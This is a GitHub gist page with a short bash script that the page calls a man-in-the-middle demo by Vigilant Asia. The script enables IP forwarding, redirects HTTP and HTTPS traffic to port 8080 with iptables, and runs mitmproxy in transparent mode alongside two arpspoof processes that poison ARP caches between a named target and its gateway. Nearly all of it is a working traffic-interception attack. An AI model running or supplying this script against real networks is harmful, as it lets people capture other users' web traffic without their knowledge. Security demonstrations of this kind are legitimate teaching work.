Created
November 30, 2019 17:08
-
-
Save WayneJLee/d398822b804b36382158fddfff30a18b to your computer and use it in GitHub Desktop.
Script to set up MitM demo - Vigilant Asia
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
RED='\033[1;31m' | |
NoC='\033[0m' | |
echo -e "MitM by ${RED}Vigilant Asia${NoC}" | |
# Usage | |
if [ "$1" = "" ]; then | |
echo "Please specify target IP" | |
echo "[!]Usage: $0 targetIP gatewayIP interface" | |
exit 1 | |
elif [ "$2" = "" ]; then | |
echo "Please specify gateway IP" | |
echo "[!]Usage: $0 targetIP gatewayIP interface" | |
exit 1 | |
elif [ "$3" = "" ]; then | |
echo "Please specify network interface" | |
echo "[!]Usage: $0 targetIP gatewayIP interface" | |
exit 1 | |
fi | |
# Enable IP forwarding | |
echo '[+] Setting IP Forward' | |
sysctl -w net.ipv4.ip_forward=1 | |
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 | |
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 | |
echo '[+] Updated iptables NAT rules' | |
iptables -t nat -S | |
# Start arpspoof | |
xfce4-terminal \ | |
-e "tmux \ | |
new-session 'mitmproxy --mode transparent --set block_global=false --view-filter ~hq\ Android; read'\; \ | |
split-window -h 'arpspoof -i $3 -t $1 $2; read'\; \ | |
split-window 'arpspoof -i $3 -t $2 $1; read'\;" \ | |
-T arpspoof |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment